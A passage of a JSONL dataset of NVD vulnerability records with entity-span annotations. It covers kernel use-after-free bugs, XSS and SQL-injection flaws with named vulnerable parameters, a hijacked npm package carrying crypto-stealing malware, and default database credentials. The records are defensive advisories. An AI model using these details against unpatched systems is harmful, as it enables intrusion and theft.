6.0.0.0851\n\n\nDataDirect Connect for JDBC for Microsoft Dynamics 365: through 6.0.0.003161, fixed in 6.0.0.3198\n\nDataDirect Connect for JDBC for Microsoft SQLServer: through 6.0.0.001936, fixed in 6.0.0.001957\n\nDataDirect Connect for JDBC for Microsoft Sharepoint: through 6.0.0.001559, fixed in 6.0.0.001587\n\nDataDirect Connect for JDBC for MongoDB: through 6.1.0.001654, fixed in 6.1.0.001669\n\nDataDirect Connect for JDBC for MySQL: through 5.1.4.000330, fixed in 5.1.4.000364\n\nDataDirect Connect for JDBC for Oracle Database: through 6.0.0.001747, fixed in 6.0.0.001776\n\nDataDirect Connect for JDBC for Oracle Eloqua: through 6.0.0.001438, fixed in 6.0.0.001458\n\nDataDirect Connect for JDBC for Oracle Sales Cloud: through 6.0.0.001225, fixed in 6.0.0.001316\n\nDataDirect Connect for JDBC for Oracle Service Cloud: through 5.1.4.000298, fixed in 5.1.4.000309\nDataDirect Connect for JDBC for PostgreSQL: through 6.0.0.001843, fixed in 6.0.0.001856\n\n\nDataDirect Connect for JDBC for Progress OpenEdge: through 5.1.4.000187, fixed in 5.1.4.000189\n\nDataDirect Connect for JDBC for Salesforce: through 6.0.0.003020, fixed in 6.0.0.003125\nDataDirect Connect for JDBC for SAP HANA: through 6.0.0.000879, product retired\n\nDataDirect Connect for JDBC for SAP S/4 HANA: through 6.0.1.001818, fixed in 6.0.1.001858\n\nDataDirect Connect for JDBC for Sybase ASE: through 5.1.4.000161, fixed in 5.1.4.000162\n\nDataDirect Connect for JDBC for Snowflake: through 6.0.1.001821, fixed in 6.0.1.001856\n\nDataDirect Hybrid Data Pipeline Server: through 4.6.2.3309, fixed in 4.6.2.3430\n\nDataDirect Hybrid Data Pipeline JDBC Driver: through 4.6.2.0607, fixed in 4.6.2.1023\n\nDataDirect Hybrid Data Pipeline On Premises Connector: through 4.6.2.1223, fixed in 4.6.2.1339\nDataDirect Hybrid Data Pipeline Docker: through 4.6.2.3316, fixed in 4.6.2.3430\n\nDataDirect OpenAccess JDBC Driver: through 8.1.0.0177, fixed in 8.1.0.0183\n\nDataDirect OpenAccess JDBC Driver: through 9.0.0.0019, fixed in 9.0.0.0022", "spans": {"SYSTEM: Oracle Database": [[2455, 2470]], "SYSTEM: PostgreSQL": [[2836, 2846]], "SYSTEM: SAP HANA": [[3110, 3118]], "SYSTEM: MongoDB": [[2285, 2292]], "SYSTEM: MySQL": [[2371, 2376]], "ORGANIZATION: Salesforce": [[3022, 3032]], "ORGANIZATION: Microsoft": [[1989, 1998], [2088, 2097], [2186, 2195]], "ORGANIZATION: Progress": [[75, 83], [121, 129], [2926, 2934]], "ORGANIZATION: Google": [[1626, 1632], [1723, 1729]], "ORGANIZATION: Oracle": [[2549, 2555], [2641, 2647], [2738, 2744]], "ORGANIZATION: Apache": [[1080, 1086], [1258, 1264], [1350, 1356]], "ORGANIZATION: Docker": [[3721, 3727]], "ORGANIZATION: Amazon": [[986, 992]], "ORGANIZATION: SAP": [[3191, 3194]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-10703"}}
{"text": "color-convert provides plain color conversion functions in JavaScript. On 8 September 2025, the npm publishing account for color-convert was taken over after a phishing attack. Version 3.1.1 was published, functionally identical to the previous patch version, but with a malware payload added attempting to redirect cryptocurrency transactions to the attacker's own addresses from within browser environments. Local environments, server environments, command line applications, etc. are not affected. If the package was used in a browser context (e.g. a direct <script> inclusion, or via a bundling tool such as Babel, Rollup, Vite, Next.js, etc.) there is a chance the malware still exists and such bundles will need to be rebuilt. The malware seemingly only targets cryptocurrency transactions and wallets such as MetaMask. npm removed the offending package from the registry over the course of the day on 8 September, preventing further downloads from npm proper. On 13 September, the package owner published new patch versions to help cache-bust those using private registries who might still have the compromised version cached. Users should update to the latest patch version, completely remove their node_modules directory, clean their package manager's global cache, and rebuild any browser bundles from scratch. Those operating private registries or registry mirrors should purge the offending versions from any caches. This issue is resolved in 3.1.2.", "spans": {"FILEPATH: Next.js": [[633, 640]], "ORGANIZATION: npm": [[96, 99], [826, 829], [955, 958]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-59162"}}
{"text": "A signal handler race condition exists in the Layer 2 Address Learning Daemon (L2ALD) of Juniper Networks Junos OS due to the absence of a specific protection mechanism to avoid a race condition which may allow an attacker to bypass the storm-control feature on devices. This issue is a corner case and only occurs during specific actions taken by an administrator of a device under certain specifics actions which triggers the event. The event occurs less frequently on devices which are not configured with Virtual Chassis configurations, and more frequently on devices configured in Virtual Chassis configurations. This issue is not specific to any particular Junos OS platform. An Indicator of Compromise (IoC) may be seen by reviewing log files for the following error message seen by executing the following show statement: show log messages | grep storm Result to look for: /kernel: GENCFG: op 58 (Storm Control Blob) failed; err 1 (Unknown) This issue affects: Juniper Networks Junos OS: 14.1X53 versions prior to 14.1X53-D49 on EX Series; 15.1 versions prior to 15.1R7-S6; 15.1X49 versions prior to 15.1X49-D191, 15.1X49-D200 on SRX Series; 16.1 versions prior to 16.1R7-S7; 16.2 versions prior to 16.2R2-S11, 16.2R3; 17.1 versions prior to 17.1R2-S11, 17.1R3; 17.2 versions prior to 17.2R2-S8, 17.2R3-S3; 17.3 versions prior to 17.3R2-S5, 17.3R3-S7; 17.4 versions prior to 17.4R2-S9, 17.4R3; 18.1 versions prior to 18.1R3-S5; 18.2 versions prior to 18.2R2-S6, 18.2R3; 18.3 versions prior to 18.3R1-S7, 18.3R2-S3, 18.3R3; 18.4 versions prior to 18.4R1-S5, 18.4R2; 19.1 versions prior to 19.1R1-S4, 19.1R2.", "spans": {"ORGANIZATION: Juniper": [[89, 96], [969, 976]], "VULNERABILITY: race condition": [[17, 31], [180, 194]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-0244"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nRDMA/cma: Do not change route.addr.src_addr outside state checks\n\nIf the state is not idle then resolve_prepare_src() should immediately\nfail and no change to global state should happen. However, it\nunconditionally overwrites the src_addr trying to build a temporary any\naddress.\n\nFor instance if the state is already RDMA_CM_LISTEN then this will corrupt\nthe src_addr and would cause the test in cma_cancel_operation():\n\n           if (cma_any_addr(cma_src_addr(id_priv)) && !id_priv->cma_dev)\n\nWhich would manifest as this trace from syzkaller:\n\n  BUG: KASAN: use-after-free in __list_add_valid+0x93/0xa0 lib/list_debug.c:26\n  Read of size 8 at addr ffff8881546491e0 by task syz-executor.1/32204\n\n  CPU: 1 PID: 32204 Comm: syz-executor.1 Not tainted 5.12.0-rc8-syzkaller #0\n  Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 01/01/2011\n  Call Trace:\n   __dump_stack lib/dump_stack.c:79 [inline]\n   dump_stack+0x141/0x1d7 lib/dump_stack.c:120\n   print_address_description.constprop.0.cold+0x5b/0x2f8 mm/kasan/report.c:232\n   __kasan_report mm/kasan/report.c:399 [inline]\n   kasan_report.cold+0x7c/0xd8 mm/kasan/report.c:416\n   __list_add_valid+0x93/0xa0 lib/list_debug.c:26\n   __list_add include/linux/list.h:67 [inline]\n   list_add_tail include/linux/list.h:100 [inline]\n   cma_listen_on_all drivers/infiniband/core/cma.c:2557 [inline]\n   rdma_listen+0x787/0xe00 drivers/infiniband/core/cma.c:3751\n   ucma_listen+0x16a/0x210 drivers/infiniband/core/ucma.c:1102\n   ucma_write+0x259/0x350 drivers/infiniband/core/ucma.c:1732\n   vfs_write+0x28e/0xa30 fs/read_write.c:603\n   ksys_write+0x1ee/0x250 fs/read_write.c:658\n   do_syscall_64+0x2d/0x70 arch/x86/entry/common.c:46\n   entry_SYSCALL_64_after_hwframe+0x44/0xae\n\nThis is indicating that an rdma_id_private was destroyed without doing\ncma_cancel_listens().\n\nInstead of trying to re-use the src_addr memory to indirectly create an\nany address derived from the dst build one explicitly on the stack and\nbind to that as any other normal flow would do. rdma_bind_addr() will copy\nit over the src_addr once it knows the state is valid.\n\nThis is similar to commit bc0bdc5afaa7 (\"RDMA/cma: Do not change\nroute.addr.src_addr.ss_family\")", "spans": {"FILEPATH: /01/2011": [[928, 936]], "FILEPATH: /kasan/report.c": [[1102, 1117], [1142, 1157], [1204, 1219]], "FILEPATH: /linux/list.h": [[1295, 1308], [1345, 1358]], "FILEPATH: /infiniband/core/cma.c": [[1400, 1422], [1471, 1493]], "FILEPATH: /infiniband/core/ucma.c": [[1533, 1556], [1595, 1618]], "FILEPATH: /x86/entry/common.c": [[1746, 1765]], "FILEPATH: list_debug.c": [[680, 692], [1258, 1270]], "FILEPATH: dump_stack.c": [[971, 983], [1026, 1038]], "FILEPATH: read_write.c": [[1652, 1664], [1698, 1710]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[862, 868], [869, 875], [891, 897], [919, 925]], "VULNERABILITY: use-after-free": [[631, 645]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48925"}}
{"text": "Multiple cross-site scripting (XSS) vulnerabilities in Dolibarr 10.0.6 allow remote attackers to inject arbitrary web script or HTML via the (1) label[libelle] parameter to the /htdocs/admin/dict.php?id=3 page; the (2) name[constname] parameter to the /htdocs/admin/const.php?mainmenu=home page; the (3) note[note] parameter to the /htdocs/admin/dict.php?id=10 page; the (4) zip[MAIN_INFO_SOCIETE_ZIP] or email[mail] parameter to the /htdocs/admin/company.php page; the (5) url[defaulturl], field[defaultkey], or value[defaultvalue] parameter to the /htdocs/admin/defaultvalues.php page; the (6) key[transkey] or key[transvalue] parameter to the /htdocs/admin/translation.php page; or the (7) [main_motd] or [main_home] parameter to the /htdocs/admin/ihm.php page.", "spans": {"FILEPATH: /htdocs/admin/dict.php": [[177, 199], [332, 354]], "FILEPATH: /htdocs/admin/const.php": [[252, 275]], "FILEPATH: /htdocs/admin/company.php": [[434, 459]], "FILEPATH: /htdocs/admin/defaultvalues.php": [[550, 581]], "FILEPATH: /htdocs/admin/translation.php": [[646, 675]], "FILEPATH: /htdocs/admin/ihm.php": [[737, 758]], "VULNERABILITY: cross-site scripting": [[9, 29]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-7994"}}
{"text": "Contiki-NG is an open-source, cross-platform operating system for IoT devices. When reading the TCP MSS option value from an incoming packet, the Contiki-NG OS does not verify that certain buffer indices to read from are within the bounds of the IPv6 packet buffer, uip_buf. In particular, there is a 2-byte buffer read in the module os/net/ipv6/uip6.c. The buffer is indexed using 'UIP_IPTCPH_LEN + 2 + c' and 'UIP_IPTCPH_LEN + 3 + c', but the uip_buf buffer may not have enough data, resulting in a 2-byte read out of bounds. The problem has been patched in the \"develop\" branch of Contiki-NG, and is expected to be included in release 4.9. Users are advised to watch for the 4.9 release and to upgrade when it becomes available. There are no workarounds for this vulnerability aside from manually patching with the diff in commit `cde4e9839`.", "spans": {"FILEPATH: /net/ipv6/uip6.c.": [[336, 353]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-34100"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nusbnet: gl620a: fix endpoint checking in genelink_bind()\n\nSyzbot reports [1] a warning in usb_submit_urb() triggered by\ninconsistencies between expected and actually present endpoints\nin gl620a driver. Since genelink_bind() does not properly\nverify whether specified eps are in fact provided by the device,\nin this case, an artificially manufactured one, one may get a\nmismatch.\n\nFix the issue by resorting to a usbnet utility function\nusbnet_get_endpoints(), usually reserved for this very problem.\nCheck for endpoints and return early before proceeding further if\nany are missing.\n\n[1] Syzbot report:\nusb 5-1: Manufacturer: syz\nusb 5-1: SerialNumber: syz\nusb 5-1: config 0 descriptor??\ngl620a 5-1:0.23 usb0: register 'gl620a' at usb-dummy_hcd.0-1, ...\n------------[ cut here ]------------\nusb 5-1: BOGUS urb xfer, pipe 3 != type 1\nWARNING: CPU: 2 PID: 1841 at drivers/usb/core/urb.c:503 usb_submit_urb+0xe4b/0x1730 drivers/usb/core/urb.c:503\nModules linked in:\nCPU: 2 UID: 0 PID: 1841 Comm: kworker/2:2 Not tainted 6.12.0-syzkaller-07834-g06afb0f36106 #0\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\nWorkqueue: mld mld_ifc_work\nRIP: 0010:usb_submit_urb+0xe4b/0x1730 drivers/usb/core/urb.c:503\n...\nCall Trace:\n <TASK>\n usbnet_start_xmit+0x6be/0x2780 drivers/net/usb/usbnet.c:1467\n __netdev_start_xmit include/linux/netdevice.h:5002 [inline]\n netdev_start_xmit include/linux/netdevice.h:5011 [inline]\n xmit_one net/core/dev.c:3590 [inline]\n dev_hard_start_xmit+0x9a/0x7b0 net/core/dev.c:3606\n sch_direct_xmit+0x1ae/0xc30 net/sched/sch_generic.c:343\n __dev_xmit_skb net/core/dev.c:3827 [inline]\n __dev_queue_xmit+0x13d4/0x43e0 net/core/dev.c:4400\n dev_queue_xmit include/linux/netdevice.h:3168 [inline]\n neigh_resolve_output net/core/neighbour.c:1514 [inline]\n neigh_resolve_output+0x5bc/0x950 net/core/neighbour.c:1494\n neigh_output include/net/neighbour.h:539 [inline]\n ip6_finish_output2+0xb1b/0x2070 net/ipv6/ip6_output.c:141\n __ip6_finish_output net/ipv6/ip6_output.c:215 [inline]\n ip6_finish_output+0x3f9/0x1360 net/ipv6/ip6_output.c:226\n NF_HOOK_COND include/linux/netfilter.h:303 [inline]\n ip6_output+0x1f8/0x540 net/ipv6/ip6_output.c:247\n dst_output include/net/dst.h:450 [inline]\n NF_HOOK include/linux/netfilter.h:314 [inline]\n NF_HOOK include/linux/netfilter.h:308 [inline]\n mld_sendpack+0x9f0/0x11d0 net/ipv6/mcast.c:1819\n mld_send_cr net/ipv6/mcast.c:2120 [inline]\n mld_ifc_work+0x740/0xca0 net/ipv6/mcast.c:2651\n process_one_work+0x9c5/0x1ba0 kernel/workqueue.c:3229\n process_scheduled_works kernel/workqueue.c:3310 [inline]\n worker_thread+0x6c8/0xf00 kernel/workqueue.c:3391\n kthread+0x2c1/0x3a0 kernel/kthread.c:389\n ret_from_fork+0x45/0x80 arch/x86/kernel/process.c:147\n ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:244\n </TASK>", "spans": {"FILEPATH: /usb/core/urb.c": [[938, 953], [993, 1008], [1298, 1313]], "FILEPATH: /01/2014": [[1216, 1224]], "FILEPATH: /net/usb/usbnet.c": [[1381, 1398]], "FILEPATH: /linux/netdevice.h": [[1432, 1450], [1491, 1509], [1792, 1810]], "FILEPATH: /core/dev.c": [[1537, 1548], [1598, 1609], [1691, 1702], [1752, 1763]], "FILEPATH: /sched/sch_generic.c": [[1647, 1667]], "FILEPATH: /core/neighbour.c": [[1850, 1867], [1919, 1936]], "FILEPATH: /net/neighbour.h": [[1963, 1979]], "FILEPATH: /ipv6/ip6_output.c": [[2029, 2047], [2076, 2094], [2143, 2161], [2246, 2264]], "FILEPATH: /linux/netfilter.h": [[2187, 2205], [2328, 2346], [2376, 2394]], "FILEPATH: /net/dst.h": [[2288, 2298]], "FILEPATH: /ipv6/mcast.c": [[2438, 2451], [2473, 2486], [2530, 2543]], "FILEPATH: /x86/kernel/process.c": [[2784, 2805]], "FILEPATH: /x86/entry/entry_64.S": [[2843, 2864]], "FILEPATH: workqueue.c": [[2587, 2598], [2636, 2647], [2696, 2707]], "FILEPATH: kthread.c": [[2741, 2750]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1141, 1145]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-21877"}}
{"text": "FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Versions 1.8.208 and below are vulnerable to Stored Cross-Site Scripting (XSS) through FreeScout's email notification templates. Incoming email bodies are stored in the database without sanitization and rendered unescaped in outgoing email notifications using Blade's raw output syntax {!! $thread->body !!}. An unauthenticated attacker can exploit this vulnerability by simply sending an email, and when opened by any subscribed agent or admin as part of their normal workflow, enabling universal HTML injection (phishing, tracking) and, in vulnerable email clients, JavaScript execution (session hijacking, credential theft, account takeover) affecting all recipients simultaneously. This issue has been fixed in version 1.8.209.", "spans": {"SYSTEM: PHP": [[58, 61]], "VULNERABILITY: Cross-Site Scripting": [[135, 155]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32754"}}
{"text": "The Versa Director uses PostgreSQL (Postgres) to store operational and configuration data. It is also needed for High Availability function of the Versa Director. The default configuration has a common password across all instances of Versa Director. By default, Versa Director configures Postgres to listen on all network interfaces. This combination allows an unauthenticated attacker to access and administer the database or read local filesystem contents to escalate privileges on the system. \n\nExploitation Status:\nVersa Networks is not aware of this exploitation in any production systems. A proof of concept exists in the lab environment.\n\nWorkarounds or Mitigation:\nStarting with the latest 22.1.4 version of Versa Director, the software will automatically restrict access to the Postgres and HA ports to only the local and peer Versa Directors. For older releases, Versa recommends performing manual hardening of HA ports. Please refer to the following link for the steps https://docs.versa-networks.com/Solutions/System_Hardening/Perform_Manual_Hardening_for_Versa_Director#Secure_HA_Ports  \n\nThis vulnerability is not exploitable on Versa Directors if published Firewall guidelines are implemented. We have validated that no Versa-hosted head ends have been affected by this vulnerability. All Versa-hosted head ends are patched and hardened. \n\nPlease contact Versa Technical Support or Versa account team for any further assistance.\n\nSoftware Download Links:\n22.1.4: https://support.versa-networks.com/support/solutions/articles/23000026708-release-22-1-4", "spans": {"URL: https://docs.versa-networks.com/Solutions/System_Hardening/Perform_Manual_Hardening_for_Versa_Director#Secure_HA_Ports": [[981, 1099]], "URL: https://support.versa-networks.com/support/solutions/articles/23000026708-release-22-1-4": [[1479, 1567]], "SYSTEM: PostgreSQL": [[24, 34]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-42450"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nsmb: client: Fix use-after-free of network namespace.\n\nRecently, we got a customer report that CIFS triggers oops while\nreconnecting to a server.  [0]\n\nThe workload runs on Kubernetes, and some pods mount CIFS servers\nin non-root network namespaces.  The problem rarely happened, but\nit was always while the pod was dying.\n\nThe root cause is wrong reference counting for network namespace.\n\nCIFS uses kernel sockets, which do not hold refcnt of the netns that\nthe socket belongs to.  That means CIFS must ensure the socket is\nalways freed before its netns; otherwise, use-after-free happens.\n\nThe repro steps are roughly:\n\n  1. mount CIFS in a non-root netns\n  2. drop packets from the netns\n  3. destroy the netns\n  4. unmount CIFS\n\nWe can reproduce the issue quickly with the script [1] below and see\nthe splat [2] if CONFIG_NET_NS_REFCNT_TRACKER is enabled.\n\nWhen the socket is TCP, it is hard to guarantee the netns lifetime\nwithout holding refcnt due to async timers.\n\nLet's hold netns refcnt for each socket as done for SMC in commit\n9744d2bf1976 (\"smc: Fix use-after-free in tcp_write_timer_handler().\").\n\nNote that we need to move put_net() from cifs_put_tcp_session() to\nclean_demultiplex_info(); otherwise, __sock_create() still could touch a\nfreed netns while cifsd tries to reconnect from cifs_demultiplex_thread().\n\nAlso, maybe_get_net() cannot be put just before __sock_create() because\nthe code is not under RCU and there is a small chance that the same\naddress happened to be reallocated to another netns.\n\n[0]:\nCIFS: VFS: \\\\XXXXXXXXXXX has not responded in 15 seconds. Reconnecting...\nCIFS: Serverclose failed 4 times, giving up\nUnable to handle kernel paging request at virtual address 14de99e461f84a07\nMem abort info:\n  ESR = 0x0000000096000004\n  EC = 0x25: DABT (current EL), IL = 32 bits\n  SET = 0, FnV = 0\n  EA = 0, S1PTW = 0\n  FSC = 0x04: level 0 translation fault\nData abort info:\n  ISV = 0, ISS = 0x00000004\n  CM = 0, WnR = 0\n[14de99e461f84a07] address between user and kernel address ranges\nInternal error: Oops: 0000000096000004 [#1] SMP\nModules linked in: cls_bpf sch_ingress nls_utf8 cifs cifs_arc4 cifs_md4 dns_resolver tcp_diag inet_diag veth xt_state xt_connmark nf_conntrack_netlink xt_nat xt_statistic xt_MASQUERADE xt_mark xt_addrtype ipt_REJECT nf_reject_ipv4 nft_chain_nat nf_nat xt_conntrack nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 xt_comment nft_compat nf_tables nfnetlink overlay nls_ascii nls_cp437 sunrpc vfat fat aes_ce_blk aes_ce_cipher ghash_ce sm4_ce_cipher sm4 sm3_ce sm3 sha3_ce sha512_ce sha512_arm64 sha1_ce ena button sch_fq_codel loop fuse configfs dmi_sysfs sha2_ce sha256_arm64 dm_mirror dm_region_hash dm_log dm_mod dax efivarfs\nCPU: 5 PID: 2690970 Comm: cifsd Not tainted 6.1.103-109.184.amzn2023.aarch64 #1\nHardware name: Amazon EC2 r7g.4xlarge/, BIOS 1.0 11/1/2018\npstate: 00400005 (nzcv daif +PAN -UAO -TCO -DIT -SSBS BTYPE=--)\npc : fib_rules_lookup+0x44/0x238\nlr : __fib_lookup+0x64/0xbc\nsp : ffff8000265db790\nx29: ffff8000265db790 x28: 0000000000000000 x27: 000000000000bd01\nx26: 0000000000000000 x25: ffff000b4baf8000 x24: ffff00047b5e4580\nx23: ffff8000265db7e0 x22: 0000000000000000 x21: ffff00047b5e4500\nx20: ffff0010e3f694f8 x19: 14de99e461f849f7 x18: 0000000000000000\nx17: 0000000000000000 x16: 0000000000000000 x15: 0000000000000000\nx14: 0000000000000000 x13: 0000000000000000 x12: 3f92800abd010002\nx11: 0000000000000001 x10: ffff0010e3f69420 x9 : ffff800008a6f294\nx8 : 0000000000000000 x7 : 0000000000000006 x6 : 0000000000000000\nx5 : 0000000000000001 x4 : ffff001924354280 x3 : ffff8000265db7e0\nx2 : 0000000000000000 x1 : ffff0010e3f694f8 x0 : ffff00047b5e4500\nCall trace:\n fib_rules_lookup+0x44/0x238\n __fib_lookup+0x64/0xbc\n ip_route_output_key_hash_rcu+0x2c4/0x398\n ip_route_output_key_hash+0x60/0x8c\n tcp_v4_connect+0x290/0x488\n __inet_stream_connect+0x108/0x3d0\n inet_stream_connect+0x50/0x78\n kernel_connect+0x6c/0xac\n generic_ip_conne\n---truncated---", "spans": {"FILEPATH: /1/2018": [[2887, 2894]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Kubernetes": [[242, 252]], "ORGANIZATION: Amazon": [[2851, 2857]], "VULNERABILITY: use-after-free": [[86, 100], [637, 651], [1133, 1147]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53095"}}
{"text": "Re:Desk 2.3 contains a blind unauthenticated SQL injection vulnerability in the getBaseCriteria() function in the protected/models/Ticket.php file. By modifying the folder GET parameter, it is possible to execute arbitrary SQL statements via a crafted URL. Unauthenticated remote command execution is possible by using this SQL injection to update certain database values, which are then executed by a bizRule eval() function in the yii/framework/web/auth/CAuthManager.php file. Resultant authorization bypass is also possible, by recovering or modifying password hashes and password reset tokens, allowing for administrative privileges to be obtained.", "spans": {"FILEPATH: /models/Ticket.php": [[123, 141]], "FILEPATH: /framework/web/auth/CAuthManager.php": [[436, 472]], "VULNERABILITY: authorization bypass": [[489, 509]], "VULNERABILITY: SQL injection": [[45, 58], [324, 337]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15487"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SVM: Forcibly leave SMM mode on SHUTDOWN interception\n\nPreviously, commit ed129ec9057f (\"KVM: x86: forcibly leave nested mode\non vCPU reset\") addressed an issue where a triple fault occurring in\nnested mode could lead to use-after-free scenarios. However, the commit\ndid not handle the analogous situation for System Management Mode (SMM).\n\nThis omission results in triggering a WARN when KVM forces a vCPU INIT\nafter SHUTDOWN interception while the vCPU is in SMM. This situation was\nreprodused using Syzkaller by:\n\n  1) Creating a KVM VM and vCPU\n  2) Sending a KVM_SMI ioctl to explicitly enter SMM\n  3) Executing invalid instructions causing consecutive exceptions and\n     eventually a triple fault\n\nThe issue manifests as follows:\n\n  WARNING: CPU: 0 PID: 25506 at arch/x86/kvm/x86.c:12112\n  kvm_vcpu_reset+0x1d2/0x1530 arch/x86/kvm/x86.c:12112\n  Modules linked in:\n  CPU: 0 PID: 25506 Comm: syz-executor.0 Not tainted\n  6.1.130-syzkaller-00157-g164fe5dde9b6 #0\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996),\n  BIOS 1.12.0-1 04/01/2014\n  RIP: 0010:kvm_vcpu_reset+0x1d2/0x1530 arch/x86/kvm/x86.c:12112\n  Call Trace:\n   <TASK>\n   shutdown_interception+0x66/0xb0 arch/x86/kvm/svm/svm.c:2136\n   svm_invoke_exit_handler+0x110/0x530 arch/x86/kvm/svm/svm.c:3395\n   svm_handle_exit+0x424/0x920 arch/x86/kvm/svm/svm.c:3457\n   vcpu_enter_guest arch/x86/kvm/x86.c:10959 [inline]\n   vcpu_run+0x2c43/0x5a90 arch/x86/kvm/x86.c:11062\n   kvm_arch_vcpu_ioctl_run+0x50f/0x1cf0 arch/x86/kvm/x86.c:11283\n   kvm_vcpu_ioctl+0x570/0xf00 arch/x86/kvm/../../../virt/kvm/kvm_main.c:4122\n   vfs_ioctl fs/ioctl.c:51 [inline]\n   __do_sys_ioctl fs/ioctl.c:870 [inline]\n   __se_sys_ioctl fs/ioctl.c:856 [inline]\n   __x64_sys_ioctl+0x19a/0x210 fs/ioctl.c:856\n   do_syscall_x64 arch/x86/entry/common.c:51 [inline]\n   do_syscall_64+0x35/0x80 arch/x86/entry/common.c:81\n   entry_SYSCALL_64_after_hwframe+0x6e/0xd8\n\nArchitecturally, INIT is blocked when the CPU is in SMM, hence KVM's WARN()\nin kvm_vcpu_reset() to guard against KVM bugs, e.g. to detect improper\nemulation of INIT.  SHUTDOWN on SVM is a weird edge case where KVM needs to\ndo _something_ sane with the VMCB, since it's technically undefined, and\nINIT is the least awful choice given KVM's ABI.\n\nSo, double down on stuffing INIT on SHUTDOWN, and force the vCPU out of\nSMM to avoid any weirdness (and the WARN).\n\nFound by Linux Verification Center (linuxtesting.org) with Syzkaller.\n\n[sean: massage changelog, make it clear this isn't architectural behavior]", "spans": {"DOMAIN: linuxtesting.org": [[2466, 2482]], "FILEPATH: /x86/kvm/x86.c": [[848, 862], [903, 917], [1169, 1183], [1427, 1441], [1487, 1501], [1552, 1566]], "FILEPATH: /01/2014": [[1116, 1124]], "FILEPATH: /x86/kvm/svm/svm.c": [[1253, 1271], [1320, 1338], [1379, 1397]], "FILEPATH: /x86/kvm/../../../virt/kvm/kvm_main.c": [[1607, 1644]], "FILEPATH: /x86/entry/common.c": [[1838, 1857], [1901, 1920]], "FILEPATH: ioctl.c": [[1666, 1673], [1707, 1714], [1749, 1756], [1804, 1811]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: Linux": [[2439, 2444]], "SYSTEM: QEMU": [[1058, 1062]], "SYSTEM: KVM": [[69, 72], [163, 166], [463, 466], [607, 610], [2032, 2035], [2082, 2085], [2179, 2182], [2302, 2305]], "VULNERABILITY: use-after-free": [[295, 309]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-37957"}}
{"text": "Issue summary: Calling the OpenSSL API function SSL_select_next_proto with an\nempty supported client protocols buffer may cause a crash or memory contents to\nbe sent to the peer.\n\nImpact summary: A buffer overread can have a range of potential consequences\nsuch as unexpected application beahviour or a crash. In particular this issue\ncould result in up to 255 bytes of arbitrary private data from memory being sent\nto the peer leading to a loss of confidentiality. However, only applications\nthat directly call the SSL_select_next_proto function with a 0 length list of\nsupported client protocols are affected by this issue. This would normally never\nbe a valid scenario and is typically not under attacker control but may occur by\naccident in the case of a configuration or programming error in the calling\napplication.\n\nThe OpenSSL API function SSL_select_next_proto is typically used by TLS\napplications that support ALPN (Application Layer Protocol Negotiation) or NPN\n(Next Protocol Negotiation). NPN is older, was never standardised and\nis deprecated in favour of ALPN. We believe that ALPN is significantly more\nwidely deployed than NPN. The SSL_select_next_proto function accepts a list of\nprotocols from the server and a list of protocols from the client and returns\nthe first protocol that appears in the server list that also appears in the\nclient list. In the case of no overlap between the two lists it returns the\nfirst item in the client list. In either case it will signal whether an overlap\nbetween the two lists was found. In the case where SSL_select_next_proto is\ncalled with a zero length client list it fails to notice this condition and\nreturns the memory immediately following the client list pointer (and reports\nthat there was no overlap in the lists).\n\nThis function is typically called from a server side application callback for\nALPN or a client side application callback for NPN. In the case of ALPN the list\nof protocols supplied by the client is guaranteed by libssl to never be zero in\nlength. The list of server protocols comes from the application and should never\nnormally be expected to be of zero length. In this case if the\nSSL_select_next_proto function has been called as expected (with the list\nsupplied by the client passed in the client/client_len parameters), then the\napplication will not be vulnerable to this issue. If the application has\naccidentally been configured with a zero length server list, and has\naccidentally passed that zero length server list in the client/client_len\nparameters, and has additionally failed to correctly handle a \"no overlap\"\nresponse (which would normally result in a handshake failure in ALPN) then it\nwill be vulnerable to this problem.\n\nIn the case of NPN, the protocol permits the client to opportunistically select\na protocol when there is no overlap. OpenSSL returns the first client protocol\nin the no overlap case in support of this. The list of client protocols comes\nfrom the application and should never normally be expected to be of zero length.\nHowever if the SSL_select_next_proto function is accidentally called with a\nclient_len of 0 then an invalid memory pointer will be returned instead. If the\napplication uses this output as the opportunistic protocol then the loss of\nconfidentiality will occur.\n\nThis issue has been assessed as Low severity because applications are most\nlikely to be vulnerable if they are using NPN instead of ALPN - but NPN is not\nwidely used. It also requires an application configuration or programming error.\nFinally, this issue would not typically be under attacker control making active\nexploitation unlikely.\n\nThe FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue.\n\nDue to the low severity of this issue we are not issuing new releases of\nOpenSSL at this time. The fix will be included in the next releases when they\nbecome available.", "spans": {"SYSTEM: OpenSSL": [[27, 34], [827, 834], [2838, 2845], [3787, 3794]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-5535"}}
